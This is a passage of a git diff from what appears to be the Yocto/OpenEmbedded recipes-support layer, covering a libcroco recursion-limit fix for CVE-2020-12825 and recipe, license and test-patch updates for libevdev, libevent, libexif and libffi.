+ goto continue_parsing;
+@@ -1162,10 +1171,12 @@ cr_parser_parse_value_core (CRParser * a_this)
+ * | FUNCTION | DASHMATCH | '(' any* ')' | '[' any* ']' ] S*;
+ *
+ *@param a_this the current instance of #CRParser.
++ *@param n_calls used to limit recursion depth
+ *@return CR_OK upon successfull completion, an error code otherwise.
+ */
+ static enum CRStatus
+-cr_parser_parse_any_core (CRParser * a_this)
++cr_parser_parse_any_core (CRParser * a_this,
++ guint n_calls)
+ {
+ CRToken *token1 = NULL,
+ *token2 = NULL;
+@@ -1174,6 +1185,9 @@ cr_parser_parse_any_core (CRParser * a_this)
+
+ g_return_val_if_fail (a_this, CR_BAD_PARAM_ERROR);
+
++ if (n_calls > RECURSIVE_CALLERS_LIMIT)
++ return CR_ERROR;
++
+ RECORD_INITIAL_POS (a_this, &init_pos);
+
+ status = cr_tknzr_get_next_token (PRIVATE (a_this)->tknzr, &token1);
+@@ -1212,7 +1226,7 @@ cr_parser_parse_any_core (CRParser * a_this)
+ *We consider parameter as being an "any*" production.
+ */
+ do {
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, n_calls + 1);
+ } while (status == CR_OK);
+
+ ENSURE_PARSING_COND (status == CR_PARSING_ERROR);
+@@ -1237,7 +1251,7 @@ cr_parser_parse_any_core (CRParser * a_this)
+ }
+
+ do {
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, n_calls + 1);
+ } while (status == CR_OK);
+
+ ENSURE_PARSING_COND (status == CR_PARSING_ERROR);
+@@ -1265,7 +1279,7 @@ cr_parser_parse_any_core (CRParser * a_this)
+ }
+
+ do {
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, n_calls + 1);
+ } while (status == CR_OK);
+
+ ENSURE_PARSING_COND (status == CR_PARSING_ERROR);
diff --git a/meta/recipes-support/libcroco/libcroco_0.6.13.bb b/meta/recipes-support/libcroco/libcroco_0.6.13.bb
index 9171a9de5c..66ee647ffa 100644
--- a/meta/recipes-support/libcroco/libcroco_0.6.13.bb
+++ b/meta/recipes-support/libcroco/libcroco_0.6.13.bb
@@ -1,4 +1,7 @@
SUMMARY = "Cascading Style Sheet (CSS) parsing and manipulation toolkit"
+DESCRIPTION = "The Libcroco project is an effort to build a generic \
+Cascading Style Sheet (CSS) parsing and manipulation toolkit that can be \
+used by GNOME applications in need of CSS support."
HOMEPAGE = "http://www.gnome.org/"
BUGTRACKER = "https://bugzilla.gnome.org/"
@@ -18,3 +21,6 @@ inherit gnomebase gtk-doc binconfig-disabled
SRC_URI[archive.md5sum] = "c80c5a8385011a0260dce6bd0da93dce"
SRC_URI[archive.sha256sum] = "767ec234ae7aa684695b3a735548224888132e063f92db585759b422570621d4"
+
+SRC_URI +="file://CVE-2020-12825.patch \
+"
diff --git a/meta/recipes-support/libdaemon/libdaemon_0.14.bb b/meta/recipes-support/libdaemon/libdaemon_0.14.bb
index 070ee1890e..85a30bcac3 100644
--- a/meta/recipes-support/libdaemon/libdaemon_0.14.bb
+++ b/meta/recipes-support/libdaemon/libdaemon_0.14.bb
@@ -1,4 +1,8 @@
SUMMARY = "Lightweight C library which eases the writing of UNIX daemons"
+DESCRIPTION = "Lightweight daemon framework for OpenBSD. It provides \
+facilities for logging and a signal handler to enable graceful shutdown, \
+as well as file locking to ensure that only a single copy of a given daemon \
+is running at a time."
SECTION = "libs"
AUTHOR = "Lennart Poettering <lennart@poettering.net>"
HOMEPAGE = "http://0pointer.de/lennart/projects/libdaemon/"
diff --git a/meta/recipes-support/libevdev/libevdev/determinism.patch b/meta/recipes-support/libevdev/libevdev/determinism.patch
deleted file mode 100644
index f6b7fc82d3..0000000000
--- a/meta/recipes-support/libevdev/libevdev/determinism.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From 4f196323aba5b0f49979826533c65633b8a9b6a2 Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard.purdie@linuxfoundation.org>
-Date: Fri, 7 Feb 2020 12:29:56 +0000
-Subject: [PATCH] libevdev: Fix determinism issue
-
-The order of dict values is not deterministic leading to differing header file generation.
-Sort to remove this inconsistency.
-
-RP 2020/2/7
-
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-Upstream-Status: Pending
-
----
- libevdev/make-event-names.py | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/libevdev/make-event-names.py b/libevdev/make-event-names.py
-index 88addd7..c973e2a 100755
---- a/libevdev/make-event-names.py
-+++ b/libevdev/make-event-names.py
-@@ -70,10 +70,10 @@ def print_bits(bits, prefix):
- if not hasattr(bits, prefix):
- return
- print("static const char * const %s_map[%s_MAX + 1] = {" % (prefix, prefix.upper()))
-- for val, name in list(getattr(bits, prefix).items()):
-+ for val, name in sorted(list(getattr(bits, prefix).items())):
- print(" [%s] = \"%s\"," % (name, name))
- if prefix == "key":
-- for val, name in list(getattr(bits, "btn").items()):
-+ for val, name in sorted(list(getattr(bits, "btn").items())):
- print(" [%s] = \"%s\"," % (name, name))
- print("};")
- print("")
-@@ -118,7 +118,7 @@ def print_lookup(bits, prefix):
- if not hasattr(bits, prefix):
- return
-
-- names = list(getattr(bits, prefix).items())
-+ names = sorted(list(getattr(bits, prefix).items()))
- if prefix == "btn":
- names = names + btn_additional
-
diff --git a/meta/recipes-support/libevdev/libevdev_1.10.0.bb b/meta/recipes-support/libevdev/libevdev_1.10.0.bb
deleted file mode 100644
index 2620cbe9f7..0000000000
--- a/meta/recipes-support/libevdev/libevdev_1.10.0.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-SUMMARY = "Wrapper library for evdev devices"
-HOMEPAGE = "http://www.freedesktop.org/wiki/Software/libevdev/"
-SECTION = "libs"
-
-LICENSE = "MIT-X"
-LIC_FILES_CHKSUM = "file://COPYING;md5=75aae0d38feea6fda97ca381cb9132eb \
- file://libevdev/libevdev.h;endline=21;md5=7ff4f0b5113252c2f1a828e0bbad98d1"
-
-SRC_URI = "http://www.freedesktop.org/software/libevdev/${BP}.tar.xz \
- file://determinism.patch"
-SRC_URI[sha256sum] = "3522c26e2c148be0ad68ce26fbced408a4185dea90bfe8079dc82b8ace962d4a"
-
-inherit autotools pkgconfig
-
-UPSTREAM_CHECK_REGEX = "libevdev-(?P<pver>(\d+\.)+(?!90\d+)\d+)"
diff --git a/meta/recipes-support/libevdev/libevdev_1.12.0.bb b/meta/recipes-support/libevdev/libevdev_1.12.0.bb
new file mode 100644
index 0000000000..38f2bad606
--- /dev/null
+++ b/meta/recipes-support/libevdev/libevdev_1.12.0.bb
@@ -0,0 +1,17 @@
+SUMMARY = "Wrapper library for evdev devices"
+DESCRIPTION = "A library for handling evdev kernel devices. It abstracts \
+the evdev ioctls through type-safe interfaces and provides functions \
+to change the appearance of the device."
+HOMEPAGE = "http://www.freedesktop.org/wiki/Software/libevdev/"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=80c550b3197bcb8da7d7557ebcc3fc46 \
+ "
+
+SRC_URI = "http://www.freedesktop.org/software/libevdev/${BP}.tar.xz"
+SRC_URI[sha256sum] = "2f729e3480695791f9482e8388bd723402b89f0eaf118057bbdea3cecee9b237"
+
+inherit autotools pkgconfig
+
+UPSTREAM_CHECK_REGEX = "libevdev-(?P<pver>(\d+\.)+(?!90\d+)\d+)"
diff --git a/meta/recipes-support/libevent/libevent/0002-test-regress.h-Increase-default-timeval-tolerance-50.patch b/meta/recipes-support/libevent/libevent/0002-test-regress.h-Increase-default-timeval-tolerance-50.patch
new file mode 100644
index 0000000000..0b20eda3c0
--- /dev/null
+++ b/meta/recipes-support/libevent/libevent/0002-test-regress.h-Increase-default-timeval-tolerance-50.patch
@@ -0,0 +1,33 @@
+From dff8fd27edb23bc1486809186c6a4fe1f75f2179 Mon Sep 17 00:00:00 2001
+From: Yi Fan Yu <yifan.yu@windriver.com>
+Date: Thu, 22 Apr 2021 22:35:59 -0400
+Subject: [PATCH] test/regress.h: Increase default timeval tolerance 50 ms ->
+ 100 ms
+
+The default timeout tolerance is 50 ms,
+which causes intermittent failure in many the
+related tests in arm64 QEMU.
+
+See: https://bugzilla.yoctoproject.org/show_bug.cgi?id=14163
+(The root cause seems to be a heavy load)
+
+Upstream-Status: Submitted [https://github.com/libevent/libevent/pull/1157]
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
+---
+ test/regress.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/test/regress.h b/test/regress.h
+index f06a7669..829af4a7 100644
+--- a/test/regress.h
++++ b/test/regress.h
+@@ -127,7 +127,7 @@ int test_ai_eq_(const struct evutil_addrinfo *ai, const char *sockaddr_port,
+ tt_int_op(labs(timeval_msec_diff((tv1), (tv2)) - diff), <=, tolerance)
+
+ #define test_timeval_diff_eq(tv1, tv2, diff) \
+- test_timeval_diff_leq((tv1), (tv2), (diff), 50)
++ test_timeval_diff_leq((tv1), (tv2), (diff), 100)
+
+ long timeval_msec_diff(const struct timeval *start, const struct timeval *end);
+
diff --git a/meta/recipes-support/libevent/libevent/0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch b/meta/recipes-support/libevent/libevent/0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch
new file mode 100644
index 0000000000..ddc19c495f
--- /dev/null
+++ b/meta/recipes-support/libevent/libevent/0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch
@@ -0,0 +1,28 @@
+From d01a57a998798da977c470f3b8d6a457c1adb144 Mon Sep 17 00:00:00 2001
+From: Azat Khuzhin <azat@libevent.org>
+Date: Sun, 19 Sep 2021 00:57:31 +0300
+Subject: [PATCH] test: mark util/monotonic_prc_fallback as retriable
+
+Refs: #1193
+
+Upstream-Status: Backport
+---
+ test/regress_util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/test/regress_util.c b/test/regress_util.c
+index 45caa2700a40..a9e80db20149 100644
+--- a/test/regress_util.c
++++ b/test/regress_util.c
+@@ -1672,7 +1672,7 @@ struct testcase_t util_testcases[] = {
+ { "monotonic_res_fallback", test_evutil_monotonic_res, TT_OFF_BY_DEFAULT, &basic_setup, (void*)"fallback" },
+ { "monotonic_prc", test_evutil_monotonic_prc, 0, &basic_setup, (void*)"" },
+ { "monotonic_prc_precise", test_evutil_monotonic_prc, TT_RETRIABLE, &basic_setup, (void*)"precise" },
+- { "monotonic_prc_fallback", test_evutil_monotonic_prc, 0, &basic_setup, (void*)"fallback" },
++ { "monotonic_prc_fallback", test_evutil_monotonic_prc, TT_RETRIABLE, &basic_setup, (void*)"fallback" },
+ { "date_rfc1123", test_evutil_date_rfc1123, 0, NULL, NULL },
+ { "evutil_v4addr_is_local", test_evutil_v4addr_is_local, 0, NULL, NULL },
+ { "evutil_v6addr_is_local", test_evutil_v6addr_is_local, 0, NULL, NULL },
+--
+2.31.1
+
diff --git a/meta/recipes-support/libevent/libevent/0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch b/meta/recipes-support/libevent/libevent/0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch
new file mode 100644
index 0000000000..ea17e876ea
--- /dev/null
+++ b/meta/recipes-support/libevent/libevent/0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch
@@ -0,0 +1,81 @@
+From 36ebd92fa53c0097f1e2f9ec5aa5b5c6ec1b411d Mon Sep 17 00:00:00 2001
+From: Thomas Perrot <thomas.perrot@bootlin.com>
+Date: Wed, 29 Sep 2021 13:50:35 +0200
+Subject: [PATCH] test: retriable tests are marked failed only when all
+ attempts have failed
+
+Fixes: #1193
+
+Upstream-Status: Accepted
+
+Signed-off-by: Thomas Perrot <thomas.perrot@bootlin.com>
+---
+ test/tinytest.c | 13 ++++++-------
+ test/tinytest.h | 2 +-
+ 2 files changed, 7 insertions(+), 8 deletions(-)
+
+diff --git a/test/tinytest.c b/test/tinytest.c
+index 85dfe74a720e..bf2882418eb6 100644
+--- a/test/tinytest.c
++++ b/test/tinytest.c
+@@ -310,7 +310,8 @@ testcase_run_forked_(const struct testgroup_t *group,
+
+ int
+ testcase_run_one(const struct testgroup_t *group,
+- const struct testcase_t *testcase)
++ const struct testcase_t *testcase,
++ const int test_attempts)
+ {
+ enum outcome outcome;
+
+@@ -348,7 +349,7 @@ testcase_run_one(const struct testgroup_t *group,
+ if (opt_verbosity>0 && !opt_forked)
+ puts("SKIPPED");
+ } else {
+- if (!opt_forked)
++ if (!opt_forked && (testcase->flags & TT_RETRIABLE) && !test_attempts)
+ printf("\n [%s FAILED]\n", testcase->name);
+ }
+
+@@ -525,22 +526,20 @@ tinytest_main(int c, const char **v, struct testgroup_t *groups)
+ struct testgroup_t *group = &groups[i];
+ for (j = 0; group->cases[j].name; ++j) {
+ struct testcase_t *testcase = &group->cases[j];
+- int test_attempts = 3;
++ int test_attempts = (testcase->flags & TT_RETRIABLE) ? 3: 1;
+ int test_ret_err;
+
+ if (!(testcase->flags & TT_ENABLED_))
+ continue;
+
+ for (;;) {
+- test_ret_err = testcase_run_one(group, testcase);
++ test_ret_err = testcase_run_one(group, testcase, test_attempts);
+
+ if (test_ret_err == OK)
+ break;
+- if (!(testcase->flags & TT_RETRIABLE))
++ if (!--test_attempts)
+ break;
+ printf("\n [RETRYING %s (%i)]\n", testcase->name, test_attempts);
+- if (!test_attempts--)
+- break;
+ }
+
+ switch (test_ret_err) {
+diff --git a/test/tinytest.h b/test/tinytest.h
+index d321dd467542..c276b5339331 100644
+--- a/test/tinytest.h
++++ b/test/tinytest.h
+@@ -92,7 +92,7 @@ char *tinytest_format_hex_(const void *, unsigned long);
+ tinytest_set_flag_(groups, named, 1, TT_SKIP)
+
+ /** Run a single testcase in a single group. */
+-int testcase_run_one(const struct testgroup_t *,const struct testcase_t *);
++int testcase_run_one(const struct testgroup_t *,const struct testcase_t *, const int test_attempts);
+
+ void tinytest_set_aliases(const struct testlist_alias_t *aliases);
+
+--
+2.31.1
+
diff --git a/meta/recipes-support/libevent/libevent/run-ptest b/meta/recipes-support/libevent/libevent/run-ptest
index d3b5e793c3..ef4260d1c4 100644
--- a/meta/recipes-support/libevent/libevent/run-ptest
+++ b/meta/recipes-support/libevent/libevent/run-ptest
@@ -1,14 +1,14 @@
#!/bin/sh
# run-ptest - 'ptest' test infrastructure shell script that
-# wraps the libevent test scripts
+# wraps the libevent test scripts
#
# Trevor Gamblin <trevor.gamblin@windriver.com>
###############################################################
LIBEVENTLIB=@libdir@/libevent
LOG="${LIBEVENTLIB}/ptest/libevent_ptest_$(date +%Y%m%d-%H%M%S).log"
-cd ${LIBEVENTLIB}/ptest
+cd ${LIBEVENTLIB}/ptest
# Run only the libevent "regress" test. All other test scripts in the
# libevent "test" folder are related to performance, e.g. read/write
@@ -16,9 +16,9 @@ cd ${LIBEVENTLIB}/ptest
# in the ptest log.
./test/regress 2>&1| sed -e '/TESTS/d' -e '/tests/d' -e '/OK/ s/^/PASS: / ; /FAILED/ s/^/FAIL: / ; /SKIPPED/ s/^/SKIP: / ; /DISABLED/ s/^/SKIP: /' | cut -f1,2 -d ':' | tee -a ${LOG}
-passed=`grep PASS ${LOG}|wc -l`
-failed=`grep FAIL ${LOG}|wc -l`
-skipped=`grep -E SKIP ${LOG}|wc -l`
+passed=`grep PASS: ${LOG}|wc -l`
+failed=`grep FAIL: ${LOG}|wc -l`
+skipped=`grep -E SKIP: ${LOG}|wc -l`
all=$((passed + failed + skipped))
( echo "=== Test Summary ==="
diff --git a/meta/recipes-support/libevent/libevent_2.1.12.bb b/meta/recipes-support/libevent/libevent_2.1.12.bb
index 29e87081d3..e26e8a9b57 100644
--- a/meta/recipes-support/libevent/libevent_2.1.12.bb
+++ b/meta/recipes-support/libevent/libevent_2.1.12.bb
@@ -1,15 +1,23 @@
SUMMARY = "An asynchronous event notification library"
+DESCRIPTION = "A software library that provides asynchronous event \
+notification. The libevent API provides a mechanism to execute a callback \
+function when a specific event occurs on a file descriptor or after a \
+timeout has been reached. libevent also supports callbacks triggered \
+by signals and regular timeouts"
HOMEPAGE = "http://libevent.org/"
BUGTRACKER = "https://github.com/libevent/libevent/issues"
SECTION = "libs"
-LICENSE = "BSD & MIT"
+LICENSE = "BSD-3-Clause & MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=17f20574c0b154d12236d5fbe964f549"
SRC_URI = "https://github.com/libevent/libevent/releases/download/release-${PV}-stable/${BP}-stable.tar.gz \
file://Makefile-missing-test-dir.patch \
file://run-ptest \
file://0001-test-regress_dns.c-patch-out-tests-that-require-a-wo.patch \
+ file://0002-test-regress.h-Increase-default-timeval-tolerance-50.patch \
+ file://0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch \
+ file://0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch \
"
SRC_URI[sha256sum] = "92e6de1be9ec176428fd2367677e61ceffc2ee1cb119035037a27d346b0403bb"
@@ -34,11 +42,11 @@ PACKAGES_DYNAMIC = "^${PN}-.*$"
python split_libevent_libs () {
do_split_packages(d, '${libdir}', r'^libevent_([a-z]*)-.*\.so\..*', '${PN}-%s', '${SUMMARY} (%s)', prepend=True, allow_links=True)
}
-PACKAGESPLITFUNCS_prepend = "split_libevent_libs "
+PACKAGESPLITFUNCS:prepend = "split_libevent_libs "
BBCLASSEXTEND = "native nativesdk"
-do_install_append() {
+do_install:append() {
rm ${D}${bindir}/event_rpcgen.py
rmdir ${D}${bindir}
oe_multilib_header event2/event-config.h
@@ -50,7 +58,7 @@ do_install_ptest() {
do
install -m 0755 $file ${D}${PTEST_PATH}/test
done
-
+
# handle multilib
sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
}
diff --git a/meta/recipes-support/libexif/libexif_0.6.22.bb b/meta/recipes-support/libexif/libexif_0.6.22.bb
deleted file mode 100644
index 2478ba07d8..0000000000
--- a/meta/recipes-support/libexif/libexif_0.6.22.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "Library for reading extended image information (EXIF) from JPEG files"
-HOMEPAGE = "https://libexif.github.io/"
-SECTION = "libs"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=243b725d71bb5df4a1e5920b344b86ad"
-
-def version_underscore(v):
- return "_".join(v.split("."))
-
-SRC_URI = "https://github.com/libexif/libexif/releases/download/libexif-${@version_underscore("${PV}")}-release/libexif-${PV}.tar.xz \
- "
-
-SRC_URI[sha256sum] = "5048f1c8fc509cc636c2f97f4b40c293338b6041a5652082d5ee2cf54b530c56"
-
-UPSTREAM_CHECK_URI = "https://github.com/libexif/libexif/releases/"
-
-inherit autotools gettext
-
-EXTRA_OECONF += "--disable-docs"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libexif/libexif_0.6.24.bb b/meta/recipes-support/libexif/libexif_0.6.24.bb
new file mode 100644
index 0000000000..95fa68c67e
--- /dev/null
+++ b/meta/recipes-support/libexif/libexif_0.6.24.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Library for reading extended image information (EXIF) from JPEG files"
+DESCRIPTION = "libexif is a library for parsing, editing, and saving EXIF data. It is \
+intended to replace lots of redundant implementations in command-line \
+utilities and programs with GUIs."
+HOMEPAGE = "https://libexif.github.io/"
+SECTION = "libs"
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=243b725d71bb5df4a1e5920b344b86ad"
+
+def version_underscore(v):
+ return "_".join(v.split("."))
+
+SRC_URI = "https://github.com/libexif/libexif/releases/download/v${PV}/libexif-${PV}.tar.bz2 \
+ "
+
+SRC_URI[sha256sum] = "d47564c433b733d83b6704c70477e0a4067811d184ec565258ac563d8223f6ae"
+
+UPSTREAM_CHECK_URI = "https://github.com/libexif/libexif/releases/"
+
+inherit autotools gettext
+
+EXTRA_OECONF += "--disable-docs"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128-part2.patch b/meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128-part2.patch
deleted file mode 100644
index 6b5b7d4747..0000000000
--- a/meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128-part2.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-Address platforms with no __int128.
-
-Fixes remaining pieces from
-https://github.com/libffi/libffi/commit/6663047f56c2932a6b10a790f4ac6666dd181326
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
---- a/src/powerpc/ffi_linux64.c.org 2019-12-05 14:48:33.140579431 -0800
-+++ a/src/powerpc/ffi_linux64.c 2019-12-05 14:53:58.827244495 -0800
-@@ -680,9 +680,9 @@ ffi_prep_args64 (extended_cif *ecif, uns
- {
- if (vecarg_count < NUM_VEC_ARG_REGISTERS64
- && i < nfixedargs)
-- *vec_base.f128++ = *arg.f128++;
-+ memcpy (vec_base.f128++, arg.f128, sizeof (float128));
- else
-- *next_arg.f128 = *arg.f128++;
-+ memcpy (next_arg.f128, arg.f128++, sizeof (float128));
- if (++next_arg.f128 == gpr_end.f128)
- next_arg.f128 = rest.f128;
- vecarg_count++;
-@@ -986,9 +986,9 @@ ffi_closure_helper_LINUX64 (ffi_cif *cif
- do
- {
- if (pvec < end_pvec && i < nfixedargs)
-- *to.f128 = *pvec++;
-+ memcpy (to.f128, pvec++, sizeof (float128));
- else
-- *to.f128 = *from.f128;
-+ memcpy (to.f128, from.f128, sizeof (float128));
- to.f128++;
- from.f128++;
- }
diff --git a/meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128.patch b/meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128.patch
deleted file mode 100644
index 2e32a50296..0000000000
--- a/meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 68f45b9049dffb54f5a29a3a495ab3dfcf010634 Mon Sep 17 00:00:00 2001
-From: Anthony Green <green@moxielogic.com>
-Date: Fri, 29 Nov 2019 07:00:35 -0500
-Subject: [PATCH] Address platforms with no __int128.
-
-Upstream-Status: Backport [https://github.com/libffi/libffi/commit/6663047f56c2932a6b10a790f4ac6666dd181326]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/powerpc/ffi_linux64.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/powerpc/ffi_linux64.c b/src/powerpc/ffi_linux64.c
-index de0d033..7364770 100644
---- a/src/powerpc/ffi_linux64.c
-+++ b/src/powerpc/ffi_linux64.c
-@@ -547,9 +547,9 @@ ffi_prep_args64 (extended_cif *ecif, unsigned long *const stack)
- if (next_arg.ul == gpr_end.ul)
- next_arg.ul = rest.ul;
- if (vecarg_count < NUM_VEC_ARG_REGISTERS64 && i < nfixedargs)
-- *vec_base.f128++ = **p_argv.f128;
-+ memcpy (vec_base.f128++, *p_argv.f128, sizeof (float128));
- else
-- *next_arg.f128 = **p_argv.f128;
-+ memcpy (next_arg.f128, *p_argv.f128, sizeof (float128));
- if (++next_arg.f128 == gpr_end.f128)
- next_arg.f128 = rest.f128;
- vecarg_count++;
diff --git a/meta/recipes-support/libffi/libffi/0001-Fixed-missed-ifndef-for-__mips_soft_float.patch b/meta/recipes-support/libffi/libffi/0001-Fixed-missed-ifndef-for-__mips_soft_float.patch
deleted file mode 100644
index 397194bc93..0000000000
--- a/meta/recipes-support/libffi/libffi/0001-Fixed-missed-ifndef-for-__mips_soft_float.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 14e2e74682db3bfcf057688f738fdd842a02ff2d Mon Sep 17 00:00:00 2001
-From: Carl Hurd <carl@Carls-MacBook-Pro.local>
-Date: Wed, 18 Jul 2018 09:04:32 -0400
-Subject: [PATCH] Fixed missed #ifndef for __mips_soft_float
-
-Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
-Upstream-Status: Submitted [https://github.com/libffi/libffi/pull/442]
----
- src/mips/o32.S | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/src/mips/o32.S b/src/mips/o32.S
-index 44e74cb..799139b 100644
---- a/src/mips/o32.S
-+++ b/src/mips/o32.S
-@@ -282,9 +282,11 @@ $LCFI12:
- li $13, 1 # FFI_O32
- bne $16, $13, 1f # Skip fp save if FFI_O32_SOFT_FLOAT
-
-+#ifndef __mips_soft_float
- # Store all possible float/double registers.
- s.d $f12, FA_0_0_OFF2($fp)
- s.d $f14, FA_1_0_OFF2($fp)
-+#endif
- 1:
- # prepare arguments for ffi_closure_mips_inner_O32
- REG_L a0, 4($15) # cif
diff --git a/meta/recipes-support/libffi/libffi/0001-arm-sysv-reverted-clang-VFP-mitigation.patch b/meta/recipes-support/libffi/libffi/0001-arm-sysv-reverted-clang-VFP-mitigation.patch
new file mode 100644
index 0000000000..5e529d1ce7
--- /dev/null
+++ b/meta/recipes-support/libffi/libffi/0001-arm-sysv-reverted-clang-VFP-mitigation.patch
@@ -0,0 +1,104 @@
+From 501a6b55853af549fae72723e74271f2a4ec7cf6 Mon Sep 17 00:00:00 2001
+From: Brett Warren <brett.warren@arm.com>
+Date: Fri, 27 Nov 2020 15:28:42 +0000
+Subject: [PATCH] arm/sysv: reverted clang VFP mitigation
+
+Since commit e3d2812ce43940aacae5bab2d0e965278cb1e7ea,
+seperate instructions were used when compiling under clang,
+as clang didn't allow the directives at the time. This mitigation
+now causes compilation to fail under clang 10, as described by
+https://github.com/libffi/libffi/issues/607. Now that
+clang supports the LDC and SDC instructions, this mitigation
+has been reverted.
+
+Upstream-Status: Pending
+Signed-off-by: Brett Warren <brett.warren@arm.com>
+---
+ src/arm/sysv.S | 33 ---------------------------------
+ 1 file changed, 33 deletions(-)
+
+diff --git a/src/arm/sysv.S b/src/arm/sysv.S
+index fb36213..e4272a1 100644
+--- a/src/arm/sysv.S
++++ b/src/arm/sysv.S
+@@ -142,13 +142,8 @@ ARM_FUNC_START(ffi_call_VFP)
+
+ cmp r3, #3 @ load only d0 if possible
+ ite le
+-#ifdef __clang__
+- vldrle d0, [r0]
+- vldmgt r0, {d0-d7}
+-#else
+ ldcle p11, cr0, [r0] @ vldrle d0, [r0]
+ ldcgt p11, cr0, [r0], {16} @ vldmgt r0, {d0-d7}
+-#endif
+ add r0, r0, #64 @ discard the vfp register args
+ /* FALLTHRU */
+ ARM_FUNC_END(ffi_call_VFP)
+@@ -193,25 +188,13 @@ ARM_FUNC_START(ffi_call_SYSV)
+ #endif
+ 0:
+ E(ARM_TYPE_VFP_S)
+-#ifdef __clang__
+- vstr s0, [r2]
+-#else
+ stc p10, cr0, [r2] @ vstr s0, [r2]
+-#endif
+ pop {fp,pc}
+ E(ARM_TYPE_VFP_D)
+-#ifdef __clang__
+- vstr d0, [r2]
+-#else
+ stc p11, cr0, [r2] @ vstr d0, [r2]
+-#endif
+ pop {fp,pc}
+ E(ARM_TYPE_VFP_N)
+-#ifdef __clang__
+- vstm r2, {d0-d3}
+-#else
+ stc p11, cr0, [r2], {8} @ vstm r2, {d0-d3}
+-#endif
+ pop {fp,pc}
+ E(ARM_TYPE_INT64)
+ str r1, [r2, #4]
+@@ -320,11 +303,7 @@ ARM_FUNC_START(ffi_closure_VFP)
+ add ip, sp, #16
+ sub sp, sp, #64+32 @ allocate frame
+ cfi_adjust_cfa_offset(64+32)
+-#ifdef __clang__
+- vstm sp, {d0-d7}
+-#else
+ stc p11, cr0, [sp], {16} @ vstm sp, {d0-d7}
+-#endif
+ stmdb sp!, {ip,lr}
+
+ /* See above. */
+@@ -358,25 +337,13 @@ ARM_FUNC_START_LOCAL(ffi_closure_ret)
+ cfi_rel_offset(lr, 4)
+ 0:
+ E(ARM_TYPE_VFP_S)
+-#ifdef __clang__
+- vldr s0, [r2]
+-#else
+ ldc p10, cr0, [r2] @ vldr s0, [r2]
+-#endif
+ b call_epilogue
+ E(ARM_TYPE_VFP_D)
+-#ifdef __clang__
+- vldr d0, [r2]
+-#else
+ ldc p11, cr0, [r2] @ vldr d0, [r2]
+-#endif
+ b call_epilogue
+ E(ARM_TYPE_VFP_N)
+-#ifdef __clang__
+- vldm r2, {d0-d3}
+-#else
+ ldc p11, cr0, [r2], {8} @ vldm r2, {d0-d3}
+-#endif
+ b call_epilogue
+ E(ARM_TYPE_INT64)
+ ldr r1, [r2, #4]
+--
+2.25.1
+
diff --git a/meta/recipes-support/libffi/libffi/0001-ffi_powerpc.h-fix-build-failure-with-powerpc7.patch b/meta/recipes-support/libffi/libffi/0001-ffi_powerpc.h-fix-build-failure-with-powerpc7.patch
deleted file mode 100644
index 52e6e4536b..0000000000
--- a/meta/recipes-support/libffi/libffi/0001-ffi_powerpc.h-fix-build-failure-with-powerpc7.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From de93adfb6f48100946bba2c3abad2a77a0cfde0b Mon Sep 17 00:00:00 2001
-From: Fabrice Fontaine <fontaine.fabrice@gmail.com>
-Date: Sun, 24 Nov 2019 09:52:01 +0100
-Subject: [PATCH] ffi_powerpc.h: fix build failure with powerpc7
-
-This is a patch pulled down from the following:
-https://github.com/buildroot/buildroot/blob/78926f610b1411b03464152472fd430012deb9ac/package/libffi/0004-ffi_powerpc.h-fix-build-failure-with-powerpc7.patch
-
-This issue is being hit on OpenBMC code when pulling the latest
-libffi tag and building on a P8 ppc64le machine. I verified this
-patch fixes the issue we are seeing.
-
-Below is the original commit message:
-
-Sicne commit 73dd43afc8a447ba98ea02e9aad4c6898dc77fb0, build on powerpc7
-fails on:
-
-In file included from ../src/powerpc/ffi.c:33:0:
